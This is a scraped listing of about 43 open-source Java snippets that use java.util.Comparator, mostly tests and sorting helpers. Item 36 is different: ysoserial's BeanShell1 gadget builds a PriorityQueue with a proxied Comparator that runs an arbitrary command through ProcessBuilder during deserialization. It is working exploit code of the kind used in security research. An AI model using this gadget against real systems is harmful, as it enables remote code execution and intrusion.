java.util.Comparator

Here are the examples of the java api class java.util.Comparator taken from open source projects.

1. ByteArrays_assertIsSortedAccordingToComparator_Test#setUp()

View license
@Override
@Before
public void setUp() {
    super.setUp();
    actual = new byte[] { 4, 3, 2, 2, 1 };
    byteDescendingOrderComparator = new Comparator<Byte>() {

        @Override
        public int compare(Byte byte1, Byte byte2) {
            return -byte1.compareTo(byte2);
        }
    };
    byteAscendingOrderComparator = new Comparator<Byte>() {

        @Override
        public int compare(Byte byte1, Byte byte2) {
            return byte1.compareTo(byte2);
        }
    };
}

2. CharArrays_assertIsSortedAccordingToComparator_Test#setUp()

View license
@Override
@Before
public void setUp() {
    super.setUp();
    actual = new char[] { 'd', 'c', 'b', 'b', 'a' };
    charDescendingOrderComparator = new Comparator<Character>() {

        @Override
        public int compare(Character char1, Character char2) {
            return -char1.compareTo(char2);
        }
    };
    charAscendingOrderComparator = new Comparator<Character>() {

        @Override
        public int compare(Character char1, Character char2) {
            return -char1.compareTo(char2);
        }
    };
}

3. DoubleArrays_assertIsSortedAccordingToComparator_Test#setUp()

View license
@Override
@Before
public void setUp() {
    super.setUp();
    actual = new double[] { 4.0, 3.0, 2.0, 2.0, 1.0 };
    doubleDescendingOrderComparator = new Comparator<Double>() {

        @Override
        public int compare(Double double1, Double double2) {
            return -double1.compareTo(double2);
        }
    };
    doubleSquareComparator = new Comparator<Double>() {

        @Override
        public int compare(Double double1, Double double2) {
            return new Double(double1 * double1).compareTo(new Double(double2 * double2));
        }
    };
}

4. FloatArrays_assertIsSortedAccordingToComparator_Test#setUp()

View license
@Override
@Before
public void setUp() {
    super.setUp();
    actual = new float[] { 4.0f, 3.0f, 2.0f, 2.0f, 1.0f };
    floatDescendingOrderComparator = new Comparator<Float>() {

        @Override
        public int compare(Float float1, Float float2) {
            return -float1.compareTo(float2);
        }
    };
    floatSquareComparator = new Comparator<Float>() {

        @Override
        public int compare(Float float1, Float float2) {
            return new Float(float1 * float1).compareTo(new Float(float2 * float2));
        }
    };
}

5. IntArrays_assertIsSortedAccordingToComparator_Test#setUp()

View license
@Override
@Before
public void setUp() {
    super.setUp();
    actual = new int[] { 4, 3, 2, 2, 1 };
    intDescendingOrderComparator = new Comparator<Integer>() {

        @Override
        public int compare(Integer int1, Integer int2) {
            return -int1.compareTo(int2);
        }
    };
    intSquareComparator = new Comparator<Integer>() {

        @Override
        public int compare(Integer int1, Integer int2) {
            return new Integer(int1 * int1).compareTo(new Integer(int2 * int2));
        }
    };
}

6. LongArrays_assertIsSortedAccordingToComparator_Test#setUp()

View license
@Override
@Before
public void setUp() {
    super.setUp();
    actual = new long[] { 4L, 3L, 2L, 2L, 1L };
    longDescendingOrderComparator = new Comparator<Long>() {

        @Override
        public int compare(Long long1, Long long2) {
            return -long1.compareTo(long2);
        }
    };
    longSquareComparator = new Comparator<Long>() {

        @Override
        public int compare(Long long1, Long long2) {
            return new Long(long1 * long1).compareTo(new Long(long2 * long2));
        }
    };
}

7. ObjectArrays_assertIsSortedAccordingToComparator_Test#setUp()

View license
@Override
@Before
public void setUp() {
    super.setUp();
    actual = array("Yoda", "Vador", "Luke", "Luke", "Leia");
    stringDescendingOrderComparator = new Comparator<String>() {

        @Override
        public int compare(String s1, String s2) {
            return -s1.compareTo(s2);
        }
    };
    comparator = new Comparator<Object>() {

        @Override
        public int compare(Object o1, Object o2) {
            return o1.toString().compareTo(o2.toString());
        }
    };
}

8. ShortArrays_assertIsSortedAccordingToComparator_Test#setUp()

View license
@Override
@Before
public void setUp() {
    super.setUp();
    actual = new short[] { 4, 3, 2, 2, 1 };
    shortDescendingOrderComparator = new Comparator<Short>() {

        @Override
        public int compare(Short short1, Short short2) {
            return -short1.compareTo(short2);
        }
    };
    shortAscendingOrderComparator = new Comparator<Short>() {

        @Override
        public int compare(Short short1, Short short2) {
            return -short1.compareTo(short2);
        }
    };
}

9. BooleanArrays_assertIsSortedAccordingToComparator_Test#setUp()

View license
@Override
@Before
public void setUp() {
    super.setUp();
    actual = new boolean[] { true, true, false, false };
    booleanDescendingOrderComparator = new Comparator<Boolean>() {

        @Override
        public int compare(Boolean boolean1, Boolean boolean2) {
            return -boolean1.compareTo(boolean2);
        }
    };
    booleanAscendingOrderComparator = new Comparator<Boolean>() {

        @Override
        public int compare(Boolean boolean1, Boolean boolean2) {
            return boolean1.compareTo(boolean2);
        }
    };
}

10. ReleaseChannelMap#compareTo()

Project: spacewalk
Source File: ReleaseChannelMap.java
View license
/**
     * compare to ReleaseChannelMap
     * @param o the other object
     * @return the compare return
     */
public int compareTo(ReleaseChannelMap o) {
    List<Comparator> compar = new ArrayList<Comparator>();
    compar.add(new DynamicComparator("channel", true));
    compar.add(new DynamicComparator("channelArch", true));
    compar.add(new DynamicComparator("product", true));
    compar.add(new DynamicComparator("version", true));
    compar.add(new DynamicComparator("release", true));
    Comparator com = ComparatorUtils.chainedComparator((Comparator[]) compar.toArray());
    return com.compare(this, o);
}

11. LayoutFocusTraversalPolicy#getFirstComponent()

View license
/**
     * Returns the first Component in the traversal cycle. This method is used
     * to determine the next Component to focus when traversal wraps in the
     * forward direction.
     *
     * @param aContainer a focus cycle root of aComponent or a focus traversal policy provider whose
     *        first Component is to be returned
     * @return the first Component in the traversal cycle of aContainer,
     *         or null if no suitable Component can be found
     * @throws IllegalArgumentException if aContainer is null
     */
public Component getFirstComponent(Container aContainer) {
    if (aContainer == null) {
        throw new IllegalArgumentException("aContainer cannot be null");
    }
    Comparator comparator = getComparator();
    if (comparator instanceof LayoutComparator) {
        ((LayoutComparator) comparator).setComponentOrientation(aContainer.getComponentOrientation());
    }
    return super.getFirstComponent(aContainer);
}

12. InvocationWriter#sortConstructors()

Project: groovy-core
Source File: InvocationWriter.java
View license
private List<ConstructorNode> sortConstructors(ConstructorCallExpression call, ClassNode callNode) {
    // sort in a new list to prevent side effects
    List<ConstructorNode> constructors = new ArrayList<ConstructorNode>(callNode.getDeclaredConstructors());
    Comparator comp = new Comparator() {

        public int compare(Object arg0, Object arg1) {
            ConstructorNode c0 = (ConstructorNode) arg0;
            ConstructorNode c1 = (ConstructorNode) arg1;
            String descriptor0 = BytecodeHelper.getMethodDescriptor(ClassHelper.VOID_TYPE, c0.getParameters());
            String descriptor1 = BytecodeHelper.getMethodDescriptor(ClassHelper.VOID_TYPE, c1.getParameters());
            return descriptor0.compareTo(descriptor1);
        }
    };
    Collections.sort(constructors, comp);
    return constructors;
}

13. LayoutFocusTraversalPolicy#getComponentBefore()

View license
/**
     * Returns the Component that should receive the focus before aComponent.
     * aContainer must be a focus cycle root of aComponent.
     * <p>
     * By default, LayoutFocusTraversalPolicy implicitly transfers focus down-
     * cycle. That is, during normal focus traversal, the Component
     * traversed after a focus cycle root will be the focus-cycle-root's
     * default Component to focus. This behavior can be disabled using the
     * <code>setImplicitDownCycleTraversal</code> method.
     * <p>
     * If aContainer is <a href="../../java/awt/doc-files/FocusSpec.html#FocusTraversalPolicyProviders">focus
     * traversal policy provider</a>, the focus is always transferred down-cycle.
     *
     * @param aContainer a focus cycle root of aComponent or a focus traversal policy provider
     * @param aComponent a (possibly indirect) child of aContainer, or
     *        aContainer itself
     * @return the Component that should receive the focus before aComponent,
     *         or null if no suitable Component can be found
     * @throws IllegalArgumentException if aContainer is not a focus cycle
     *         root of aComponent or a focus traversal policy provider, or if either aContainer or
     *         aComponent is null
     */
public Component getComponentBefore(Container aContainer, Component aComponent) {
    if (aContainer == null || aComponent == null) {
        throw new IllegalArgumentException("aContainer and aComponent cannot be null");
    }
    Comparator comparator = getComparator();
    if (comparator instanceof LayoutComparator) {
        ((LayoutComparator) comparator).setComponentOrientation(aContainer.getComponentOrientation());
    }
    return super.getComponentBefore(aContainer, aComponent);
}

14. LayoutFocusTraversalPolicy#getComponentAfter()

View license
/**
     * Returns the Component that should receive the focus after aComponent.
     * aContainer must be a focus cycle root of aComponent.
     * <p>
     * By default, LayoutFocusTraversalPolicy implicitly transfers focus down-
     * cycle. That is, during normal focus traversal, the Component
     * traversed after a focus cycle root will be the focus-cycle-root's
     * default Component to focus. This behavior can be disabled using the
     * <code>setImplicitDownCycleTraversal</code> method.
     * <p>
     * If aContainer is <a href="../../java/awt/doc-files/FocusSpec.html#FocusTraversalPolicyProviders">focus
     * traversal policy provider</a>, the focus is always transferred down-cycle.
     *
     * @param aContainer a focus cycle root of aComponent or a focus traversal policy provider
     * @param aComponent a (possibly indirect) child of aContainer, or
     *        aContainer itself
     * @return the Component that should receive the focus after aComponent, or
     *         null if no suitable Component can be found
     * @throws IllegalArgumentException if aContainer is not a focus cycle
     *         root of aComponent or a focus traversal policy provider, or if either aContainer or
     *         aComponent is null
     */
public Component getComponentAfter(Container aContainer, Component aComponent) {
    if (aContainer == null || aComponent == null) {
        throw new IllegalArgumentException("aContainer and aComponent cannot be null");
    }
    Comparator comparator = getComparator();
    if (comparator instanceof LayoutComparator) {
        ((LayoutComparator) comparator).setComponentOrientation(aContainer.getComponentOrientation());
    }
    return super.getComponentAfter(aContainer, aComponent);
}

15. TreeMapTest#test_comparator()

Project: j2objc
Source File: TreeMapTest.java
View license
/**
     * @tests java.util.TreeMap#comparator()
     */
public void test_comparator() {
    // Test for method java.util.Comparator java.util.TreeMap.comparator()\
    Comparator comp = new ReversedComparator();
    TreeMap reversedTreeMap = new TreeMap(comp);
    assertTrue("TreeMap answered incorrect comparator", reversedTreeMap.comparator() == comp);
    reversedTreeMap.put(new Integer(1).toString(), new Integer(1));
    reversedTreeMap.put(new Integer(2).toString(), new Integer(2));
    assertTrue("TreeMap does not use comparator (firstKey was incorrect)", reversedTreeMap.firstKey().equals(new Integer(2).toString()));
    assertTrue("TreeMap does not use comparator (lastKey was incorrect)", reversedTreeMap.lastKey().equals(new Integer(1).toString()));
}

16. TreeMapTest#test_ConstructorLjava_util_SortedMap()

Project: j2objc
Source File: TreeMapTest.java
View license
/**
     * @tests java.util.TreeMap#TreeMap(java.util.SortedMap)
     */
public void test_ConstructorLjava_util_SortedMap() {
    // Test for method java.util.TreeMap(java.util.SortedMap)
    Comparator comp = new ReversedComparator();
    TreeMap reversedTreeMap = new TreeMap(comp);
    reversedTreeMap.put(new Integer(1).toString(), new Integer(1));
    reversedTreeMap.put(new Integer(2).toString(), new Integer(2));
    TreeMap anotherTreeMap = new TreeMap(reversedTreeMap);
    assertTrue("New tree map does not answer correct comparator", anotherTreeMap.comparator() == comp);
    assertTrue("TreeMap does not use comparator (firstKey was incorrect)", anotherTreeMap.firstKey().equals(new Integer(2).toString()));
    assertTrue("TreeMap does not use comparator (lastKey was incorrect)", anotherTreeMap.lastKey().equals(new Integer(1).toString()));
}

17. TreeMapTest#test_ConstructorLjava_util_Comparator()

Project: j2objc
Source File: TreeMapTest.java
View license
/**
     * @tests java.util.TreeMap#TreeMap(java.util.Comparator)
     */
public void test_ConstructorLjava_util_Comparator() {
    // Test for method java.util.TreeMap(java.util.Comparator)
    Comparator comp = new ReversedComparator();
    TreeMap reversedTreeMap = new TreeMap(comp);
    assertTrue("TreeMap answered incorrect comparator", reversedTreeMap.comparator() == comp);
    reversedTreeMap.put(new Integer(1).toString(), new Integer(1));
    reversedTreeMap.put(new Integer(2).toString(), new Integer(2));
    assertTrue("TreeMap does not use comparator (firstKey was incorrect)", reversedTreeMap.firstKey().equals(new Integer(2).toString()));
    assertTrue("TreeMap does not use comparator (lastKey was incorrect)", reversedTreeMap.lastKey().equals(new Integer(1).toString()));
}

18. CollectionsTest#test_sortLjava_util_ListLjava_util_Comparator()

Project: j2objc
Source File: CollectionsTest.java
View license
/**
	 * @tests java.util.Collections#sort(java.util.List, java.util.Comparator)
	 */
public void test_sortLjava_util_ListLjava_util_Comparator() {
    // Test for method void java.util.Collections.sort(java.util.List,
    // java.util.Comparator)
    Comparator comp = new ReversedMyIntComparator();
    try {
        Collections.sort(null, comp);
        fail("Expected NullPointerException for null list parameter");
    } catch (NullPointerException e) {
    }
    Collections.shuffle(myll);
    Collections.sort(myll, comp);
    final int llSize = myll.size();
    for (int counter = 0; counter < llSize - 1; counter++) {
        assertTrue("Sorting shuffled list with custom comparator resulted in unsorted list", ((MyInt) myll.get(counter)).compareTo((MyInt) myll.get(counter + 1)) >= 0);
    }
}

19. CollectionsTest#test_reverseOrder()

Project: j2objc
Source File: CollectionsTest.java
View license
/**
	 * @tests java.util.Collections#reverseOrder()
	 */
public void test_reverseOrder() {
    // Test for method java.util.Comparator
    // java.util.Collections.reverseOrder()
    // assumes no duplicates in ll
    Comparator comp = Collections.reverseOrder();
    LinkedList list2 = new LinkedList(ll);
    Collections.sort(list2, comp);
    final int llSize = ll.size();
    for (int counter = 0; counter < llSize; counter++) assertEquals("New comparator does not reverse sorting order", list2.get(llSize - counter - 1), ll.get(counter));
}

20. ArraysTest#test_binarySearch$Ljava_lang_ObjectLjava_lang_ObjectLjava_util_Comparator()

Project: j2objc
Source File: ArraysTest.java
View license
/**
	 * @tests java.util.Arrays#binarySearch(java.lang.Object[],
	 *        java.lang.Object, java.util.Comparator)
	 */
public void test_binarySearch$Ljava_lang_ObjectLjava_lang_ObjectLjava_util_Comparator() {
    // Test for method int java.util.Arrays.binarySearch(java.lang.Object
    // [], java.lang.Object, java.util.Comparator)
    Comparator comp = new ReversedIntegerComparator();
    for (int counter = 0; counter < arraySize; counter++) objectArray[counter] = objArray[arraySize - counter - 1];
    assertTrue("Binary search succeeded for value not present in array 1", Arrays.binarySearch(objectArray, new Integer(-1), comp) == -(arraySize + 1));
    assertEquals("Binary search succeeded for value not present in array 2", -1, Arrays.binarySearch(objectArray, new Integer(arraySize), comp));
    for (int counter = 0; counter < arraySize; counter++) assertTrue("Binary search on Object[] with custom comparator answered incorrect position", Arrays.binarySearch(objectArray, objArray[counter], comp) == arraySize - counter - 1);
}

21. ForkedAlphaNumericComparatorTest#testBasic()

View license
@Test
public void testBasic() {
    Comparator c = new ForkedAlphaNumericComparator();
    assertTrue(c.compare("a", "b") < 0);
    assertTrue(c.compare("shard1", "shard1") == 0);
    //assertTrue(c.compare("shard01", "shard1") == 0);
    assertTrue(c.compare("shard10", "shard10") == 0);
    assertTrue(c.compare("shard1", "shard2") < 0);
    assertTrue(c.compare("shard9", "shard10") < 0);
    assertTrue(c.compare("shard09", "shard10") < 0);
    assertTrue(c.compare("shard019", "shard10") > 0);
    assertTrue(c.compare("shard10", "shard11") < 0);
    assertTrue(c.compare("shard10z", "shard10z") == 0);
    assertTrue(c.compare("shard10z", "shard11z") < 0);
    assertTrue(c.compare("shard10a", "shard10z") < 0);
    assertTrue(c.compare("shard10z", "shard10a") > 0);
    assertTrue(c.compare("shard1z", "shard1z") == 0);
    assertTrue(c.compare("shard2", "shard1") > 0);
}

22. TableSorter#getComparator()

Project: h-store
Source File: TableSorter.java
View license
protected Comparator getComparator(int column) {
    Class columnType = tableModel.getColumnClass(column);
    Comparator comparator = (Comparator) columnComparators.get(columnType);
    if (comparator != null) {
        return comparator;
    }
    if (Comparable.class.isAssignableFrom(columnType)) {
        return COMPARABLE_COMPARATOR;
    }
    return LEXICAL_COMPARATOR;
}

23. AlphaNumericComparatorTest#testBasic()

View license
@Test
public void testBasic() {
    Comparator c = new AlphaNumericComparator();
    assertTrue(c.compare("a", "b") < 0);
    assertTrue(c.compare("shard1", "shard1") == 0);
    //assertTrue(c.compare("shard01", "shard1") == 0);
    assertTrue(c.compare("shard10", "shard10") == 0);
    assertTrue(c.compare("shard1", "shard2") < 0);
    assertTrue(c.compare("shard9", "shard10") < 0);
    assertTrue(c.compare("shard09", "shard10") < 0);
    assertTrue(c.compare("shard019", "shard10") > 0);
    assertTrue(c.compare("shard10", "shard11") < 0);
    assertTrue(c.compare("shard10z", "shard10z") == 0);
    assertTrue(c.compare("shard10z", "shard11z") < 0);
    assertTrue(c.compare("shard10a", "shard10z") < 0);
    assertTrue(c.compare("shard10z", "shard10a") > 0);
    assertTrue(c.compare("shard1z", "shard1z") == 0);
    assertTrue(c.compare("shard2", "shard1") > 0);
}

24. LayoutFocusTraversalPolicy#getLastComponent()

View license
/**
     * Returns the last Component in the traversal cycle. This method is used
     * to determine the next Component to focus when traversal wraps in the
     * reverse direction.
     *
     * @param aContainer a focus cycle root of aComponent or a focus traversal policy provider whose
     *        last Component is to be returned
     * @return the last Component in the traversal cycle of aContainer,
     *         or null if no suitable Component can be found
     * @throws IllegalArgumentException if aContainer is null
     */
public Component getLastComponent(Container aContainer) {
    if (aContainer == null) {
        throw new IllegalArgumentException("aContainer cannot be null");
    }
    Comparator comparator = getComparator();
    if (comparator instanceof LayoutComparator) {
        ((LayoutComparator) comparator).setComponentOrientation(aContainer.getComponentOrientation());
    }
    return super.getLastComponent(aContainer);
}

25. ArraysEqCmpTest#testObjectNPEs()

Project: openjdk
Source File: ArraysEqCmpTest.java
View license
@Test
public void testObjectNPEs() {
    String[][] values = new String[][] { null, new String[0] };
    Comparator<String> c = String::compareTo;
    Comparator[] cs = new Comparator[] { null, c };
    for (String[] o1 : values) {
        for (String[] o2 : values) {
            for (Comparator o3 : cs) {
                if (o1 != null && o2 != null && o3 != null)
                    continue;
                if (o3 == null) {
                    testNPE(() -> Arrays.equals(o1, o2, o3));
                    testNPE(() -> Arrays.compare(o1, o2, o3));
                    testNPE(() -> Arrays.mismatch(o1, o2, o3));
                }
                testNPE(() -> Arrays.equals(o1, 0, 0, o2, 0, 0, o3));
                testNPE(() -> Arrays.compare(o1, 0, 0, o2, 0, 0, o3));
                testNPE(() -> Arrays.mismatch(o1, 0, 0, o2, 0, 0, o3));
            }
        }
    }
}

26. ProblemBenchmarkResult#determineRanking()

View license
private void determineRanking(List<SingleBenchmarkResult> rankedSingleBenchmarkResultList) {
    Comparator singleBenchmarkRankingComparator = new SingleBenchmarkRankingComparator();
    Collections.sort(rankedSingleBenchmarkResultList, Collections.reverseOrder(singleBenchmarkRankingComparator));
    int ranking = 0;
    SingleBenchmarkResult previousSingleBenchmarkResult = null;
    int previousSameRankingCount = 0;
    for (SingleBenchmarkResult singleBenchmarkResult : rankedSingleBenchmarkResultList) {
        if (previousSingleBenchmarkResult != null && singleBenchmarkRankingComparator.compare(previousSingleBenchmarkResult, singleBenchmarkResult) != 0) {
            ranking += previousSameRankingCount;
            previousSameRankingCount = 0;
        }
        singleBenchmarkResult.setRanking(ranking);
        previousSingleBenchmarkResult = singleBenchmarkResult;
        previousSameRankingCount++;
    }
    winningSingleBenchmarkResult = rankedSingleBenchmarkResultList.isEmpty() ? null : rankedSingleBenchmarkResultList.get(0);
    worstSingleBenchmarkResult = rankedSingleBenchmarkResultList.isEmpty() ? null : rankedSingleBenchmarkResultList.get(rankedSingleBenchmarkResultList.size() - 1);
}

27. SingleBenchmarkResult#determineRanking()

View license
private void determineRanking(List<SubSingleBenchmarkResult> rankedSubSingleBenchmarkResultList) {
    Comparator subSingleBenchmarkRankingComparator = new SubSingleBenchmarkRankingComparator();
    Collections.sort(rankedSubSingleBenchmarkResultList, Collections.reverseOrder(subSingleBenchmarkRankingComparator));
    int ranking = 0;
    SubSingleBenchmarkResult previousSubSingleBenchmarkResult = null;
    int previousSameRankingCount = 0;
    for (SubSingleBenchmarkResult subSingleBenchmarkResult : rankedSubSingleBenchmarkResultList) {
        if (previousSubSingleBenchmarkResult != null && subSingleBenchmarkRankingComparator.compare(previousSubSingleBenchmarkResult, subSingleBenchmarkResult) != 0) {
            ranking += previousSameRankingCount;
            previousSameRankingCount = 0;
        }
        subSingleBenchmarkResult.setRanking(ranking);
        previousSubSingleBenchmarkResult = subSingleBenchmarkResult;
        previousSameRankingCount++;
    }
}

28. TableTest#testSort()

Project: Prefuse
Source File: TableTest.java
View license
public void testSort() {
    String h1 = HEADERS[2];
    String h2 = HEADERS[1];
    Iterator iter = t.tuples(null, Sort.parse(h1 + ", " + h2 + " desc"));
    Tuple[] tpls = new Tuple[t.getRowCount()];
    for (int i = 0; iter.hasNext(); ++i) {
        tpls[i] = (Tuple) iter.next();
        if (TestConfig.verbose())
            System.err.println(tpls[i]);
    }
    Comparator cmp = DefaultLiteralComparator.getInstance();
    for (int i = 0; i < tpls.length - 1; ++i) {
        Tuple t1 = tpls[i], t2 = tpls[i + 1];
        int c = cmp.compare(t1.get(h1), t2.get(h1));
        assertTrue(c <= 0);
        if (c == 0) {
            c = cmp.compare(t1.get(h2), t2.get(h2));
            assertTrue(c >= 0);
        }
    }
}

29. GradebookManagerHibernateImpl#sortCategories()

View license
private void sortCategories(List categories, String sortBy, boolean ascending) {
    Comparator comp;
    if (Category.SORT_BY_NAME.equals(sortBy)) {
        comp = Category.nameComparator;
    } else if (Category.SORT_BY_AVERAGE_SCORE.equals(sortBy)) {
        comp = Category.averageScoreComparator;
    } else if (Category.SORT_BY_WEIGHT.equals(sortBy)) {
        comp = Category.weightComparator;
    } else {
        comp = Category.nameComparator;
    }
    Collections.sort(categories, comp);
    if (!ascending) {
        Collections.reverse(categories);
    }
}

30. TableViewerSorter#columnCompare()

View license
/**
     * Performs a column-wise (second-level, after categories) comparison of two
     * elements. Subclasses may override this method. The base class
     * implementation first checks whether a {@link Comparator} has been set for
     * the specified column index. If so, that {@link Comparator} is used to
     * compute the return value. Otherwise, the
     * {@link #defaultColumnCompare(int, SortDirection, Viewer, Object, Object)}
     * method is used to compute the return value.
     *
     * @param columnIndex
     *        the index of the column being sorted by
     * @param sortDirection
     *        the {@link SortDirection} to use
     * @param viewer
     *        the {@link Viewer} we are sorting for
     * @param e1
     *        the first element
     * @param e2
     *        the second element
     * @return a comparison value
     */
protected int columnCompare(final int columnIndex, final SortDirection sortDirection, final Viewer viewer, final Object e1, final Object e2) {
    int value;
    final Comparator comparator = getComparator(columnIndex);
    if (comparator != null) {
        value = comparator.compare(e1, e2);
    } else {
        value = defaultColumnCompare(columnIndex, viewer, e1, e2);
    }
    if (value != 0 && SortDirection.DESCENDING == sortDirection) {
        value = (value > 0) ? -1 : 1;
    }
    return value;
}

31. HatchetCollection#getArtists()

View license
@Override
public Promise<CollectionCursor<Artist>, Throwable, Void> getArtists(int sortMode) {
    final Deferred<CollectionCursor<Artist>, Throwable, Void> deferred = new ADeferredObject<>();
    Comparator comparator = null;
    switch(sortMode) {
        case SORT_ALPHA:
            comparator = new AlphaComparator();
            break;
        case SORT_LAST_MODIFIED:
            //TODO
            comparator = new AlphaComparator();
            break;
    }
    List<Artist> artists = new ArrayList<>(mArtists);
    if (comparator != null) {
        Collections.sort(artists, comparator);
    }
    CollectionCursor<Artist> collectionCursor = new CollectionCursor<>(artists, Artist.class);
    return deferred.resolve(collectionCursor);
}

32. HatchetCollection#getAlbumArtists()

View license
@Override
public Promise<CollectionCursor<Artist>, Throwable, Void> getAlbumArtists(int sortMode) {
    final Deferred<CollectionCursor<Artist>, Throwable, Void> deferred = new ADeferredObject<>();
    Comparator comparator = null;
    switch(sortMode) {
        case SORT_ALPHA:
            comparator = new AlphaComparator();
            break;
        case SORT_LAST_MODIFIED:
            //TODO
            comparator = new AlphaComparator();
            break;
    }
    List<Artist> artists = new ArrayList<>(mAlbumArtists);
    if (comparator != null) {
        Collections.sort(artists, comparator);
    }
    CollectionCursor<Artist> collectionCursor = new CollectionCursor<>(artists, Artist.class);
    return deferred.resolve(collectionCursor);
}

33. HatchetCollection#getAlbums()

View license
@Override
public Promise<CollectionCursor<Album>, Throwable, Void> getAlbums(int sortMode) {
    final Deferred<CollectionCursor<Album>, Throwable, Void> deferred = new ADeferredObject<>();
    Comparator comparator = null;
    switch(sortMode) {
        case SORT_ALPHA:
            comparator = new AlphaComparator();
            break;
        case SORT_ARTIST_ALPHA:
            comparator = new ArtistAlphaComparator();
            break;
        case SORT_LAST_MODIFIED:
            //TODO
            comparator = new AlphaComparator();
            break;
    }
    List<Album> albums = new ArrayList<>(mAlbums);
    if (comparator != null) {
        Collections.sort(albums, comparator);
    }
    CollectionCursor<Album> collectionCursor = new CollectionCursor<>(albums, Album.class);
    return deferred.resolve(collectionCursor);
}

34. SofaMapSection#removeAggr()

Project: uima-uimaj
Source File: SofaMapSection.java
View license
private void removeAggr(String aggrSofa) {
    Comparator comparator = new Comparator() {

        public int compare(Object aggrSofaName, Object o2) {
            SofaMapping sofaMapping = (SofaMapping) o2;
            if (sofaMapping.getAggregateSofaName().equals(aggrSofaName))
                return 0;
            else
                return -1;
        }
    };
    editor.getAeDescription().setSofaMappings((SofaMapping[]) Utility.removeElementsFromArray(getSofaMappings(), aggrSofa, SofaMapping.class, comparator));
}

35. TableSorter#getComparator()

Project: voltdb
Source File: TableSorter.java
View license
protected Comparator getComparator(int column) {
    Class columnType = tableModel.getColumnClass(column);
    Comparator comparator = (Comparator) columnComparators.get(columnType);
    if (comparator != null) {
        return comparator;
    }
    if (Comparable.class.isAssignableFrom(columnType)) {
        return COMPARABLE_COMPARATOR;
    }
    return LEXICAL_COMPARATOR;
}

36. BeanShell1#getObject()

Project: ysoserial
Source File: BeanShell1.java
View license
public PriorityQueue getObject(String command) throws Exception {
    // BeanShell payload
    String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";
    // Create Interpreter
    Interpreter i = new Interpreter();
    // Evaluate payload
    i.eval(payload);
    // Create InvocationHandler
    XThis xt = new XThis(i.getNameSpace(), i);
    InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
    // Create Comparator Proxy
    Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[] { Comparator.class }, handler);
    // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
    final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
    Object[] queue = new Object[] { 1, 1 };
    Reflections.setFieldValue(priorityQueue, "queue", queue);
    Reflections.setFieldValue(priorityQueue, "size", 2);
    return priorityQueue;
}

37. GroupByQuery#getResultOrdering()

Project: druid
Source File: GroupByQuery.java
View license
@Override
public Ordering getResultOrdering() {
    final Comparator naturalNullsFirst = Ordering.natural().nullsFirst();
    final Ordering<Row> rowOrdering = getRowOrdering(false);
    return Ordering.from(new Comparator<Object>() {

        @Override
        public int compare(Object lhs, Object rhs) {
            if (lhs instanceof Row) {
                return rowOrdering.compare((Row) lhs, (Row) rhs);
            } else {
                // Probably bySegment queries
                return naturalNullsFirst.compare(lhs, rhs);
            }
        }
    });
}

38. DumperTestClass#x()

View license
private <Y> void x(Map<? extends X, ? super T> x) {
    @Deprecated Comparator c = new Comparator() {

        public int compare(Object o1, Object o2) {
            try {
                A<Integer> a = new <String> A<Integer>(new Integer(11), "foo") {
                };
            } catch (Exception e) {
            }
            return 0;
        }

        @Override
        public boolean equals(Object obj) {
            return super.equals(obj);
        }
    };
}

39. JdbmBrowserBugTest#createTree()

View license
@Before
public void createTree() throws Exception {
    comparator = new Comparator<Integer>() {

        public int compare(Integer i1, Integer i2) {
            return i1.compareTo(i2);
        }
    };
    File tmpDir = null;
    if (System.getProperty(TEST_OUTPUT_PATH, null) != null) {
        tmpDir = new File(System.getProperty(TEST_OUTPUT_PATH));
    }
    dbFile = File.createTempFile(getClass().getSimpleName(), "db", tmpDir);
    recman = new BaseRecordManager(dbFile.getAbsolutePath());
    bt = new BTree<Integer, Integer>(recman, new IntegerComparator(), new IntegerSerializer(), new IntegerSerializer());
    LOG.debug("created new BTree");
}

40. LongSumAggregatorTest#testComparator()

Project: druid
Source File: LongSumAggregatorTest.java
View license
@Test
public void testComparator() {
    final TestLongColumnSelector selector = new TestLongColumnSelector(new long[] { 18293L });
    LongSumAggregator agg = new LongSumAggregator("billy", selector);
    Assert.assertEquals("billy", agg.getName());
    Object first = agg.get();
    agg.aggregate();
    Comparator comp = new LongSumAggregatorFactory("null", "null").getComparator();
    Assert.assertEquals(-1, comp.compare(first, agg.get()));
    Assert.assertEquals(0, comp.compare(first, first));
    Assert.assertEquals(0, comp.compare(agg.get(), agg.get()));
    Assert.assertEquals(1, comp.compare(agg.get(), first));
}

41. InvocationWriter#sortConstructors()

Project: groovy
Source File: InvocationWriter.java
View license
private static List<ConstructorNode> sortConstructors(ConstructorCallExpression call, ClassNode callNode) {
    // sort in a new list to prevent side effects
    List<ConstructorNode> constructors = new ArrayList<ConstructorNode>(callNode.getDeclaredConstructors());
    Comparator comp = new Comparator() {

        public int compare(Object arg0, Object arg1) {
            ConstructorNode c0 = (ConstructorNode) arg0;
            ConstructorNode c1 = (ConstructorNode) arg1;
            String descriptor0 = BytecodeHelper.getMethodDescriptor(ClassHelper.VOID_TYPE, c0.getParameters());
            String descriptor1 = BytecodeHelper.getMethodDescriptor(ClassHelper.VOID_TYPE, c1.getParameters());
            return descriptor0.compareTo(descriptor1);
        }
    };
    Collections.sort(constructors, comp);
    return constructors;
}

42. HyperLogLogCollectorTest#testCompare1()

Project: druid
Source File: HyperLogLogCollectorTest.java
View license
@Test
public void testCompare1() throws Exception {
    HyperLogLogCollector collector1 = HyperLogLogCollector.makeLatestCollector();
    HyperLogLogCollector collector2 = HyperLogLogCollector.makeLatestCollector();
    collector1.add(fn.hashLong(0).asBytes());
    HyperUniquesAggregatorFactory factory = new HyperUniquesAggregatorFactory("foo", "bar");
    Comparator comparator = factory.getComparator();
    for (int i = 1; i < 100; i = i + 2) {
        collector1.add(fn.hashLong(i).asBytes());
        collector2.add(fn.hashLong(i + 1).asBytes());
        Assert.assertEquals(1, comparator.compare(collector1, collector2));
        Assert.assertEquals(1, Double.compare(collector1.estimateCardinality(), collector2.estimateCardinality()));
    }
}

43. DoubleSumAggregatorTest#testComparator()

Project: druid
Source File: DoubleSumAggregatorTest.java
View license
@Test
public void testComparator() {
    final TestFloatColumnSelector selector = new TestFloatColumnSelector(new float[] { 0.15f, 0.27f });
